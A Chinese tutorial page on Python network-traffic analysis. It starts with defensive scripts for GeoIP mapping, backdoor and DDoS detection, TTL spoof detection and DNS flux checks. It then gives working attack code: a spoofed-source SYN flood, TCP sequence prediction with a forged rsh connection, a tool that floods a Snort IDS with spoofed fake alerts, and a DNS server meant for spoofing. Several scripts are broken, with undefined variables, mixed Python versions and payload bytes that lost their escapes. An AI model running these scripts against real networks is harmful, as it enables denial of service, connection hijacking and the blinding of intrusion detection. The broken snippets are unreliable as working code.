您当前的位置：首页 > 计算机 > 编程开发 > Python

使用 Python 分析网络流量

时间：09-27来源：作者：点击数：66

IP地址精准识别 (三方库)

github地址下载：https://github.com/maxmind/GeoIP2-python

下载需要注册用户，然后下载离线数据库：https://www.maxmind.com/en/accounts/current/geoip/downloads

抓取数据包格式，然后保存为指定格式。

通过代码，饥饿和数据库提取出位置

>>> import geoip2.database>>> reader = geoip2.database.Reader('/path/to/GeoLite2-City.mmdb')>>> response = reader.city('128.101.101.101')
>>>
>>> response.country.iso_code
'US'
>>> response.country.name
'United States'
>>> response.country.names['zh-CN']
u'美国'
>>>
>>> response.subdivisions.most_specific.name
'Minnesota'
>>> response.subdivisions.most_specific.iso_code
'MN'
>>>
>>> response.city.name
'Minneapolis'
>>>
>>> response.postal.code
'55455'
>>>
>>> response.location.latitude
44.9733
>>> response.location.longitude
-93.2323
>>>
>>> response.traits.network
IPv4Network('128.101.101.0/24')
>>>
>>> reader.close()

改造代码如下所示；

#coding=utf-8
import dpkt
import socket
import geoip2.database

def GetPcap(pcap):
    ret = []
    for timestamp,packet in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(packet)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            # print("[+] 源地址: %-16s --> 目标地址: %-16s"%(src,dst))
            ret.append(dst)
        except:
            pass
    return set(ret)

if __name__ == '__main__':
    fp = open('data.pcap','rb')
    pcap = dpkt.pcap.Reader(fp)
    addr = GetPcap(pcap)
    reader = geoip2.database.Reader("d://GeoLite2-City.mmdb")
    for item in addr:
        try:
            response = reader.city(item)
            print("IP地址: %-16s --> " %item,end="")
            print("网段: %-16s --> " %response.traits.network,end="")
            print("经度: %-10s 纬度: %-10s --> " %(response.location.latitude, response.location.longitude),end="")
            print("地区: {}".format(response.country.names["zh-CN"]),end="")
        except Exception:
            pass

使用Python画谷歌地图

#coding=utf-8
# pip install python-geoip-geolite2
# github地址下载：https://github.com/maxmind/GeoIP2-python
# 离线数据库：https://www.maxmind.com/en/accounts/current/geoip/downloads
import dpkt
import socket
import geoip2.database
from optparse import OptionParser

def GetPcap(pcap):
    ret = []
    for timestamp,packet in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(packet)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            # print("[+] 源地址: %-16s --> 目标地址: %-16s"%(src,dst))
            ret.append(dst)
        except:
            pass
    return set(ret)

def retKML(addr,longitude,latitude):
    kml = (
              '<Placemark>
'
              '<name>%s</name>
'
              '<Point>
'
              '<coordinates>%6f,%6f</coordinates>
'
              '</Point>
'
              '</Placemark>
'
          ) %(addr, longitude, latitude)
    return kml

if __name__ == '__main__':
    parser = OptionParser()
    parser.add_option("-p", "--pcap", dest="pcap_file", help="set -p *.pcap")
    parser.add_option("-d", "--mmdb", dest="mmdb_file", help="set -d *.mmdb")
    (options, args) = parser.parse_args()
    if options.pcap_file and options.mmdb_file:
        fp = open(options.pcap_file,'rb')
        pcap = dpkt.pcap.Reader(fp)
        addr = GetPcap(pcap)
        reader = geoip2.database.Reader(options.mmdb_file)

        kmlheader = '<?xml version="1.0" encoding="UTF-8"?>
        
<kml xmlns="http://www.opengis.net/kml/2.2">
<Document>
'
        with open("GoogleEarth.kml", "w") as f:
            f.write(kmlheader)
            f.close()

        for item in addr:
            try:
                response = reader.city(item)
                print("IP地址: %-16s --> " %item,end="")
                print("网段: %-16s --> " %response.traits.network,end="")
                print("经度: %-10s 纬度: %-10s --> " %(response.location.latitude, response.location.longitude),end="")
                print("地区: {}".format(response.country.names["zh-CN"]),end="
")

                with open("GoogleEarth.kml","a+") as f:
                    f.write(retKML(item,response.location.latitude, response.location.longitude))
                    f.close()
            except Exception:
                pass

        kmlfooter = '</Document>
</kml>
'
        with open("GoogleEarth.kml", "a+") as f:
            f.write(kmlfooter)
            f.close()
    else:
        parser.print_help()

接着访问谷歌地球：https://www.google.com/earth/ 直接将生成的googleearth.kml 导入即可完成定位。

用于 Windows（32 位）的 7.3.2 版 https://dl.google.com/dl/earth/client/advanced/current/googleearthprowin-7.3.2.exe

使用Dpkt 发现URL中存在的.zip 字样链接

#coding=utf-8
import dpkt
import socket

def FindPcapWord(pcap,WordKey):
    for ts,buf in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            tcp = ip.data
            http = dpkt.http.Request(tcp.data)
            if(http.method == "GET"):
                uri = http.uri.lower()
                if WordKey in uri:
                    print("[+] 源地址: {} --> 目标地址: {} 检索到URL中存在 {}".format(src,dst,uri))
        except Exception:
            pass

fp = open("D://aaa.pcap","rb")
pcap = dpkt.pcap.Reader(fp)
FindPcapWord(pcap,"wang.zip")

解析本机数据包中是否包含后门

#coding=utf-8
import dpkt
import socket

def FindPcapWord(pcap,WordKey):
    for timestamp,packet in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(packet)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            tcp = ip.data
            http = dpkt.http.Request(tcp.data)
            if(http.method == "GET"):
                uri = http.uri.lower()
                if WordKey in uri:
                    print("[+] 源地址: {} --> 目标地址: {} 检索到URL中存在 {}".format(src,dst,uri))
        except Exception:
            pass

def FindHivemind(pcap):
    for timestamp,packet in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(packet)
            ip = eth.data
            tcp = ip.data

            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            sport = tcp.sport
            dport = tcp.dport
            # print("[+] 源地址: {}:{} --> 目标地址:{}:{}".format(src,sport,dst,dport))
            if dport == 80 and dst == "125.39.247.226":
                # 如果数据流中存在cmd等明文命令则说明可能存在后门
                if '[cmd]# ' in tcp.data.lower():
                    print("[+] {}:{}".format(dst,dport))
        except Exception:
            pass

fp = open("D://aaa.pcap","rb")
pcap = dpkt.pcap.Reader(fp)
FindHivemind(pcap)

实时检测DDoS攻击：

主要通过设置检测不正常数据包数量的阈值来判断是否存在DDoS攻击。

#coding=utf-8
import dpkt
import socket

def FindPcapWord(pcap,WordKey):
    for timestamp,packet in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(packet)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            tcp = ip.data
            http = dpkt.http.Request(tcp.data)
            if(http.method == "GET"):
                uri = http.uri.lower()
                if WordKey in uri:
                    print("[+] 源地址: {} --> 目标地址: {} 检索到URL中存在 {}".format(src,dst,uri))
        except Exception:
            pass

def FindHivemind(pcap):
    for timestamp,packet in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(packet)
            ip = eth.data
            tcp = ip.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            sport = tcp.sport
            dport = tcp.dport
            # print("[+] 源地址: {}:{} --> 目标地址:{}:{}".format(src,sport,dst,dport))
            if dport == 80 and dst == "125.39.247.226":
                # 如果数据流中存在cmd等明文命令则说明可能存在后门
                if '[cmd]# ' in tcp.data.lower():
                    print("[+] {}:{}".format(dst,dport))
        except Exception:
            pass

def FindDDosAttack(pcap):
    pktCount = {}
    for timestamp,packet in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(packet)
            ip = eth.data
            tcp = ip.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            sport = tcp.sport
            # 累计判断各个src地址对目标地址80端口访问次数
            if dport == 80:
                stream = src + ":" + dst
                if pktCount.has_key(stream):
                    pktCount[stream] = pktCount[stream] + 1
                else:
                    pktCount[stream] = 1
        except Exception:
            pass
    for stream in pktCount:
        pktSent = pktCount[stream]
        # 如果超过设置的检测阈值500,则判断为DDOS攻击行为
        if pktSent > 500:
            src = stream.split(":")[0]
            dst = stream.split(":")[1]
            print("[+] 源地址: {} 攻击: {} 流量: {} pkts.".format(src,dst,str(pktSent)))


if __name__ == "__main__":
    fp = open("D://data.pcap","rb")
    pcap = dpkt.pcap.Reader(fp)
    FindPcapWord(pcap,"wang.zip")

理解数据包TTL字段

TTL即 time-to-live，由8比特组成，可以用来确定在到达目的地之前数据包经过了几跳。当计算机发送一个IP数据包时会设置TTL字段为数据包在到达目的地之前所应经过的中继跳转的上限值，数据包每经过一个路由设备，TTL值就自减一，若减至0还未到目的地，路由器会丢弃该数据包以防止无限路由循环。

Nmap进行伪装扫描时，伪造数据包的TTL值是没有经过计算的，因而可以利用TTL值来分析所有来自Nmap扫描的数据包，对于每个被记录为Nmap扫描的源地址，发送一个ICMP数据包来确定源地址与目标机器之间隔了几跳，从而来辨别真正的扫描源。

Nmap的 -D参数实现伪造源地址扫描：nmap 192.168.220.128 -D 8.8.8.8

Wireshark抓包分析，发现确实是有用伪造源地址进行扫描：

点击各个数据包查看TTL值：

可以看到默认扫描的Nmap扫描，其ttl值是随机的。

用Scapy解析TTL的值

这里使用Scapy库来获取源地址IP及其TTL值。

#coding=utf-8
from scapy.all import *
# 避免IPy与
from IPy import IP as PYIP

# 检查数据包的IP层,提取出IP和TTL字段的值
def Get_TTL(pkt):
    try:
        if pkt.haslayer(IP):
            ip_src = pkt.getlayer(IP).src
            ip_sport = pkt.getlayer(IP).sport
            ip_dst = pkt.getlayer(IP).dst
            ip_dport = pkt.getlayer(IP).dport
            ip_ttl = str(pkt.ttl)
            print("[+] 源地址: %15s:%-5s --> 目标地址: %15s:%-5s --> TTL: %-5s"%(ip_src,ip_sport,ip_dst,ip_dport,ip_ttl))
    except Exception:
        pass

if __name__=="__main__":
    sniff(prn=Get_TTL,store=0)

运行脚本监听，启动Nmap伪造源地址扫描即可看到如下结果：

接着添加checkTTL()函数，主要实现对比TTL值进行源地址真伪判断：

#!/usr/bin/python
#coding=utf-8
from scapy.all import *
import time
import optparse
# 为避免IPy库中的IP类与Scapy库中的IP类冲突，重命名为IPTEST类
from IPy import IP as IPTEST

ttlValues = {}
THRESH = 5

# 检查数据包的IP层，提取出源IP和TTL字段的值
def testTTL(pkt):
    try:
        if pkt.haslayer(IP):
            ipsrc = pkt.getlayer(IP).src
            ttl = str(pkt.ttl)
            checkTTL(ipsrc, ttl)
    except:
        pass

def checkTTL(ipsrc, ttl):
    # 判断是否是内网私有地址
    if IPTEST(ipsrc).iptype() == 'PRIVATE':
        return

    # 判断是否出现过该源地址，若没有则构建一个发往源地址的ICMP包，并记录回应数据包中的TTL值
    if not ttlValues.has_key(ipsrc):
        pkt = sr1(IP(dst=ipsrc) / ICMP(), retry=0, timeout=1, verbose=0)
        ttlValues[ipsrc] = pkt.ttl

    # 若两个TTL值之差大于阈值，则认为是伪造的源地址
    if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH:
        print '
[!] Detected Possible Spoofed Packet From: ' + ipsrc
        print '[!] TTL: ' + ttl + ', Actual TTL: ' + str(ttlValues[ipsrc])

def main():
    parser = optparse.OptionParser("[*]Usage python spoofDetect.py -i <interface> -t <thresh>")
    parser.add_option('-i', dest='iface', type='string', help='specify network interface')
    parser.add_option('-t', dest='thresh', type='int', help='specify threshold count ')
    (options, args) = parser.parse_args()
    if options.iface == None:
        conf.iface = 'eth0'
    else:
        conf.iface = options.iface
    if options.thresh != None:
        THRESH = options.thresh
    else:
        THRESH = 5
    sniff(prn=testTTL, store=0)
if __name__ == '__main__':
    main()

DNS请求包的收发

用nslookup命令来进行一次域名查询，Wireshark抓包如下：

可以看到客户端发送DNSQR请求包，服务器发送DNSRR响应包。

一个DNSQR包含有查询的名称qname、查询的类型qtype、查询的类别qclass。一个DNSRR包含有资源记录名名称rrname、类型type、资源记录类别rtype、TTL等等。

用Scapy找出fast-flux流量：

解析DNSRR的数据包，提取分别含有查询的域名和对应的IP的rrname和rdata变量

#coding=utf-8
from scapy.all import *
from IPy import IP as PYIP

# 检查数据包的IP层,提取出IP和TTL字段的值
def Get_TTL(pkt):
    try:
        if pkt.haslayer(IP):
            ip_src = pkt.getlayer(IP).src
            ip_sport = pkt.getlayer(IP).sport
            ip_dst = pkt.getlayer(IP).dst
            ip_dport = pkt.getlayer(IP).dport
            ip_ttl = str(pkt.ttl)
            print("[+] 源地址: %15s:%-5s --> 目标地址: %15s:%-5s --> TTL: %-5s"%(ip_src,ip_sport,ip_dst,ip_dport,ip_ttl))
    except Exception:
        pass
# 获取本机发送出去的DNS请求所对应的网站地址
def Get_DNSRR(pkt):
    if pkt.haslayer(DNSRR):
        rrname = pkt.getlayer(DNSRR).rrname
        rdata = pkt.getlayer(DNSRR).rdata
        ttl = pkt.getlayer(DNSRR).ttl
        print("[+] 域名: {} --> 别名: {} --> TTL: {}".format(rrname,rdata,ttl))

if __name__=="__main__":
    sniff(prn=Get_DNSRR,store=0)

用Scapy找出Domain Flux流量

这里只检查服务器53端口的数据包，DNS数据包有个rcode字段，当其值为3时表示域名不存在。

#coding=utf-8
from scapy.all import *
from IPy import IP as PYIP

# 检查数据包的IP层,提取出IP和TTL字段的值
def Get_TTL(pkt):
    try:
        if pkt.haslayer(IP):
            ip_src = pkt.getlayer(IP).src
            ip_sport = pkt.getlayer(IP).sport
            ip_dst = pkt.getlayer(IP).dst
            ip_dport = pkt.getlayer(IP).dport
            ip_ttl = str(pkt.ttl)
            print("[+] 源地址: %15s:%-5s --> 目标地址: %15s:%-5s --> TTL: %-5s"%(ip_src,ip_sport,ip_dst,ip_dport,ip_ttl))
    except Exception:
        pass
# 获取本机发送出去的DNS请求所对应的网站地址 IP --> URL
def Get_DNSRR(pkt):
    if pkt.haslayer(DNSRR):
        rrname = pkt.getlayer(DNSRR).rrname
        rdata = pkt.getlayer(DNSRR).rdata
        ttl = pkt.getlayer(DNSRR).ttl
        print("[+] 域名: {} --> 别名: {} --> TTL: {}".format(rrname,rdata,ttl))

# 获取本机发送出去的网址请求解析为IP URL --> IP
def Get_DNSQR(pkt):
    # 判断是否含有DNSRR且存在UDP端口53
    if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53:
        rcode = pkt.getlayer(DNS).rcode
        qname = pkt.getlayer(DNSQR).qname
        # 若rcode为3，则表示该域名不存在
        if rcode == 3:
            print("[-] 域名解析不存在")
        else:
            print("[+] 解析存在:" + str(qname))

if __name__=="__main__":
    sniff(prn=Get_DNSQR,store=0)

使用Scapy制造SYN洪泛攻击

使用Scapy制造一些再有TCP协议层的IP数据包，让这些包TCP源端口不断地自增一，而目的TCP端口513不变。

#coding=utf-8
from scapy.all import *

def synFlood(src, tgt):
    # TCP源端口不断自增一，而目标端口513不变
    for sport in range(1024, 65535):
        IPlayer = IP(src=src, dst=tgt)
        TCPlayer = TCP(sport=sport, dport=513)
        pkt = IPlayer / TCPlayer
        send(pkt)

src = "192.168.220.132"
tgt = "192.168.220.128"
synFlood(src, tgt)

计算TCP序列号：

主要通过发送TCP SYN数据包来从依次收到的SYN/ACK包中计算TCP序列号之差，查看是否存在可被猜测的规律。

#coding=utf-8
from scapy.all import *

def calTSN(tgt):
    seqNum = 0
    preNum = 0
    diffSeq = 0
    # 重复4次操作
    for x in range(1,5):
        # 若不是第一次发送SYN包，则设置前一个序列号值为上一次SYN/ACK包的序列号值
        # 逻辑出现问题
        # if preNum != 0:
        if seqNum != 0:
            preNum = seqNum
        # 构造并发送TCP SYN包
        pkt = IP(dst=tgt) / TCP()
        ans = sr1(pkt, verbose=0)
        # 读取SYN/ACK包的TCP序列号
        seqNum = ans.getlayer(TCP).seq
        if preNum != 0:
            diffSeq = seqNum - preNum
            print "[*] preNum: %d  seqNum: %d" % (preNum, seqNum)
            print "[+] TCP Seq Difference: " + str(diffSeq)
            print
    return seqNum + diffSeq

tgt = "192.168.220.128"
seqNum = calTSN(tgt)
print "[+] Next TCP Sequence Number to ACK is: " + str(seqNum + 1)

伪造TCP连接

添加伪造主要过程为先对远程服务器进行SYN洪泛攻击、使之拒绝服务，然后猜测TCP序列号并伪造TCP连接去跟目标主机建立TCP连接。

#!/usr/bin/python
#coding=utf-8
import optparse
from scapy.all import *

def synFlood(src, tgt):
    # TCP源端口不断自增一，而目标端口513不变
    for sport in range(1024, 65535):
        IPlayer = IP(src=src, dst=tgt)
        TCPlayer = TCP(sport=sport, dport=513)
        pkt = IPlayer / TCPlayer
        send(pkt)

def calTSN(tgt):
    seqNum = 0
    preNum = 0
    diffSeq = 0
    # 重复4次操作
    for x in range(1,5):
        # 若不是第一次发送SYN包，则设置前一个序列号值为上一次SYN/ACK包的序列号值
        # 逻辑出现问题
        # if preNum != 0:
        if seqNum != 0:
            preNum = seqNum
        # 构造并发送TCP SYN包
        pkt = IP(dst=tgt) / TCP()
        ans = sr1(pkt, verbose=0)
        # 读取SYN/ACK包的TCP序列号
        seqNum = ans.getlayer(TCP).seq
        if preNum != 0:
            diffSeq = seqNum - preNum
            print "[*] preNum: %d  seqNum: %d" % (preNum, seqNum)
            print "[+] TCP Seq Difference: " + str(diffSeq)
            print
    return seqNum + diffSeq

# 伪造TCP连接
def spoofConn(src, tgt, ack):
    # 发送TCP SYN包
    IPlayer = IP(src=src, dst=tgt)
    TCPlayer = TCP(sport=513, dport=514)
    synPkt = IPlayer / TCPlayer
    send(synPkt)

    # 发送TCP ACK包
    IPlayer = IP(src=src, dst=tgt)
    TCPlayer = TCP(sport=513, dport=514, ack=ack)
    ackPkt = IPlayer / TCPlayer
    send(ackPkt)

def main():
    parser = optparse.OptionParser('[*]Usage: python mitnickAttack.py -s <src for SYN Flood> -S <src for spoofed connection> -t <target address>')
    parser.add_option('-s', dest='synSpoof', type='string', help='specifc src for SYN Flood')
    parser.add_option('-S', dest='srcSpoof', type='string', help='specify src for spoofed connection')
    parser.add_option('-t', dest='tgt', type='string', help='specify target address')
    (options, args) = parser.parse_args()
    if options.synSpoof == None or options.srcSpoof == None or options.tgt == None:
        print parser.usage
        exit(0)
    else:
        synSpoof = options.synSpoof
        srcSpoof = options.srcSpoof
        tgt = options.tgt

    print '[+] Starting SYN Flood to suppress remote server.'
    synFlood(synSpoof, srcSpoof)
    print '[+] Calculating correct TCP Sequence Number.'
    seqNum = calTSN(tgt) + 1
    print '[+] Spoofing Connection.'
    spoofConn(srcSpoof, tgt, seqNum)
    print '[+] Done.'

if __name__ == '__main__':
    main()

使用Scapy愚弄IDS 入侵检测系统

这里IDS使用的是snort，本小节主要是通过分析snort的规则，制造假的攻击迹象来触发snort的警报，从而让目标系统产生大量警告而难以作出合理的判断，ids安装过程

yum -y install gcc flex bison zlib zlib-devel libpcap libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump nghttp2 glibc-headers gcc-c++ openssl openssl-devel

wget http://prdownloads.sourceforge.net/libdnet/libdnet-1.11.tar.gz
tar -xzvf libdnet-1.11.tar.gz
./configure
make && make install

wget https://www.snort.org/downloads/snort/daq-2.0.6.tar.gz
tar -xzvf daq-2.0.6.tar.gz
./configure
make && make install

wget http://luajit.org/download/LuaJIT-2.0.5.tar.gz
cd src/
make && make install

wget https://www.snort.org/downloads/snort/snort-2.9.15.1.tar.gz
./configure --enable-sourcefire
make && make install

snort -q -A console -i eth2 -c /etc/snort/snort.conf

查看snort的ddos规则：vim /etc/snort/rules/ddos.rules 然后输入：/icmp_id:678 来直接查找

看到可以利用的触发警报的规则DDoS TFN探针：ICMP id为678，ICMP type为8，内容含有“1234”。其他的特征也按照规则下面的构造即可。只要构造这个ICMP包并发送到目标主机即可。

#!/usr/bin/python
#coding=utf-8
from scapy.all import *

# 触发DDoS警报
def ddosTest(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / ICMP(type=8, id=678) / Raw(load='1234')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / ICMP(type=0) / Raw(load='AAAAAAAAAA')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / UDP(dport=31335) / Raw(load='PONG')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / ICMP(type=0, id=456)
    send(pkt, iface=iface, count=count)

src = "192.168.220.132"
dst = "192.168.220.129"
iface = "eth0"
count = 1
ddosTest(src, dst, iface, count)

再来查看snort的exploit.rules文件中的警报规则：vim /etc/snort/rules/exploit.rules 然后输入：/EXPLOIT ntalkd x86 Linux overflow 来查找

可以看到，含有框出的指定字节序列就会触发警报。为了生成含有该指定字节序列的数据包，可以使用符号x，后面跟上该字节的十六进制值。注意的是其中的“89|F|”在Python中写成“x89F”即可。

# 触发exploits警报
def exploitTest(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / UDP(dport=518) / Raw(load="x01x03x00x00x00x00x00x01x00x02x02xE8")
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / UDP(dport=635) / Raw(load="^xB0x02x89x06xFExC8x89Fx04xB0x06x89F")
    send(pkt, iface=iface, count=count)

接着伪造踩点或扫描的操作来触发警报。查看snort的exploit.rules文件中的警报规则：vim /etc/snort/rules/scan.rules 然后输入：/Amanda 来查找

可以看到，只要数据包中含有框出的特征码即可触发警报。

# 触发踩点扫描警报
def scanTest(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / UDP(dport=7) / Raw(load='cybercop')
    send(pkt)
    pkt = IP(src=src, dst=dst) / UDP(dport=10080) / Raw(load='Amanda')
    send(pkt, iface=iface, count=count)

整合所有的代码，生成可以触发DDoS、exploits以及踩点扫描警报的数据包： -s参数指定发送的源地址，这里伪造源地址为1.2.3.4，-c参数指定发送的次数、只是测试就只发送一次即可。

#coding=utf-8
import optparse
from scapy.all import *
from random import randint

# 触发DDoS警报
def ddosTest(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / ICMP(type=8, id=678) / Raw(load='1234')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / ICMP(type=0) / Raw(load='AAAAAAAAAA')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / UDP(dport=31335) / Raw(load='PONG')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / ICMP(type=0, id=456)
    send(pkt, iface=iface, count=count)

# 触发exploits警报
def exploitTest(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / UDP(dport=518) / Raw(load="x01x03x00x00x00x00x00x01x00x02x02xE8")
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / UDP(dport=635) / Raw(load="^xB0x02x89x06xFExC8x89Fx04xB0x06x89F")
    send(pkt, iface=iface, count=count)

# 触发踩点扫描警报
def scanTest(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / UDP(dport=7) / Raw(load='cybercop')
    send(pkt)

    pkt = IP(src=src, dst=dst) / UDP(dport=10080) / Raw(load='Amanda')
    send(pkt, iface=iface, count=count)

def main():
    parser = optparse.OptionParser('[*]Usage: python idsFoil.py -i <iface> -s <src> -t <target> -c <count>')
    parser.add_option('-i', dest='iface', type='string', help='specify network interface')
    parser.add_option('-s', dest='src', type='string', help='specify source address')
    parser.add_option('-t', dest='tgt', type='string', help='specify target address')
    parser.add_option('-c', dest='count', type='int', help='specify packet count')
    (options, args) = parser.parse_args()
    if options.iface == None:
        iface = 'eth0'
    else:
        iface = options.iface
    if options.src == None:
        src = '.'.join([str(randint(1,254)) for x in range(4)])
    else:
        src = options.src
    if options.tgt == None:
        print parser.usage
        exit(0)
    else:
        dst = options.tgt
    if options.count == None:
        count = 1
    else:
        count = options.count

    ddosTest(src, dst, iface, count)
    exploitTest(src, dst, iface, count)
    scanTest(src, dst, iface, count)

if __name__ == '__main__':
    main()

Windows 网络嗅探

# -*- coding: UTF-8 -*-
import  os
import  socket
import  ctypes

class PromiscuousSocket (object): 
  def __init__(self):
      HOST = socket.gethostbyname(socket.gethostname())
      s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)
      s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
      s.bind((HOST, 0))
      s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

      self.s = s
  
  def __enter__(self):
      return self.s

  def __exit__(self, *args, **kwargs):
      self.s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

def sniffer(count, bufferSize=65565):
    with PromiscuousSocket() as s:
        for i in range(count):
          package = s.recvfrom(bufferSize)
          print(package)



if __name__ == '__main__':
    sniffer(count=10)

Linux 网络嗅探

import  os
import  socket
import  ctypes
import fcntl 
# 结构体封装
class ifreq(ctypes.Structure):
    _fields_ = [("ifr_ifrn", ctypes.c_char * 16),
                ("ifr_flags", ctypes.c_short)]
# 需要用到的枚举值
class FLAGS(object):
  # linux/if_ether.h
  ETH_P_ALL     = 0x0003 # all protocols
  ETH_P_IP      = 0x0800 # IP only
  # linux/if.h
  IFF_PROMISC   = 0x100
  # linux/sockios.h
  SIOCGIFFLAGS  = 0x8913 # get the active flags
  SIOCSIFFLAGS  = 0x8914 # set the active flags

class PromiscuousSocketManager(object): 
  def __init__(self):
    import fcntl # posix-only
    # htons: converts 16-bit positive integers from host to network byte order
    s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(FLAGS.ETH_P_ALL))
    ifr = ifreq()
    ifr.ifr_ifrn = b'en0' #写死了，可以通过参数传递进来
    fcntl.ioctl(s, FLAGS.SIOCGIFFLAGS, ifr) # get the flags
    ifr.ifr_flags |= FLAGS.IFF_PROMISC # add the promiscuous flag
    fcntl.ioctl(s, FLAGS.SIOCSIFFLAGS, ifr) # update
    self.ifr = ifr
    self.s = s
  
  def __enter__(self):
    return self.s

  def __exit__(self, *args, **kwargs):
    self.ifr.ifr_flags ^= FLAGS.IFF_PROMISC # mask it off (remove)
    fcntl.ioctl(self.s, FLAGS.SIOCSIFFLAGS, self.ifr) # update

def sniffer(count, bufferSize=65565):

    with PromiscuousSocketManager() as s:
      for i in range(count):
          package = s.recvfrom(bufferSize)
          print(package)

if __name__ == '__main__':
    sniffer(count=10)

Scapy 网络嗅探

# -*- coding: UTF-8 -*-
from scapy.all import *

scapy.config.conf.sniff_promisc=True #设置混杂模式

def packetHandler(pkt):
    dport = pkt[IP][TCP].dport
    if dport==80 and pkt[IP][TCP].payload:
        print('捕获http请求：',pkt[IP][TCP].payload)
if __name__ == '__main__':
    sniff(filter='tcp and port 80',prn=packetHandler,iface='en0')

收藏的一个DNS迷你服务器

实现简易DNS解析服务器: 具备基本的域名解析功能,通常配合DNS欺骗攻击工具一起使用效果更佳。

import socketserver,struct

class SinDNSQuery:
    def __init__(self, data):
        i = 1
        self.name = ''
        while True:
            d = data[i]
            if d == 0:
                break;
            if d < 32:
                self.name = self.name + '.'
            else:
                self.name = self.name + chr(d)
            i = i + 1
        self.querybytes = data[0:i + 1]
        (self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])
        self.len = i + 5
    def getbytes(self):
        return self.querybytes + struct.pack('>HH', self.type, self.classify)

class SinDNSAnswer:
    def __init__(self, ip):
        self.name = 49164
        self.type = 1
        self.classify = 1
        self.timetolive = 190
        self.datalength = 4
        self.ip = ip
    def getbytes(self):
        res = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)
        s = self.ip.split('.')
        res = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))
        return res

class SinDNSFrame:
    def __init__(self, data):
        (self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])
        self.query = SinDNSQuery(data[12:])
    def getname(self):
        return self.query.name
    def setip(self, ip):
        self.answer = SinDNSAnswer(ip)
        self.answers = 1
        self.flags = 33152
    def getbytes(self):
        res = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)
        res = res + self.query.getbytes()
        if self.answers != 0:
            res = res + self.answer.getbytes()
        return res

class SinDNSUDPHandler(socketserver.BaseRequestHandler):
    def handle(self):
        data = self.request[0].strip()
        dns = SinDNSFrame(data)
        socket = self.request[1]
        namemap = SinDNSServer.namemap
        if(dns.query.type==1):
            name = dns.getname();
            if namemap.__contains__(name):
                dns.setip(namemap[name])
                socket.sendto(dns.getbytes(), self.client_address)
            elif namemap.__contains__('*'):
                dns.setip(namemap['*'])
                socket.sendto(dns.getbytes(), self.client_address)
            else:
                socket.sendto(data, self.client_address)
        else:
            socket.sendto(data, self.client_address)

class SinDNSServer:
    def __init__(self, port=53):
        SinDNSServer.namemap = {}
        self.port = port
    def addname(self, name, ip):
        SinDNSServer.namemap[name] = ip
    def start(self):
        HOST, PORT = "0.0.0.0", self.port
        server = socketserver.UDPServer((HOST, PORT), SinDNSUDPHandler)
        server.serve_forever()

if __name__ == "__main__":
    server = SinDNSServer()
    server.addname('www.cdsy.xyz', '192.168.1.1')
    server.addname('*', '192.168.1.2')
    server.start()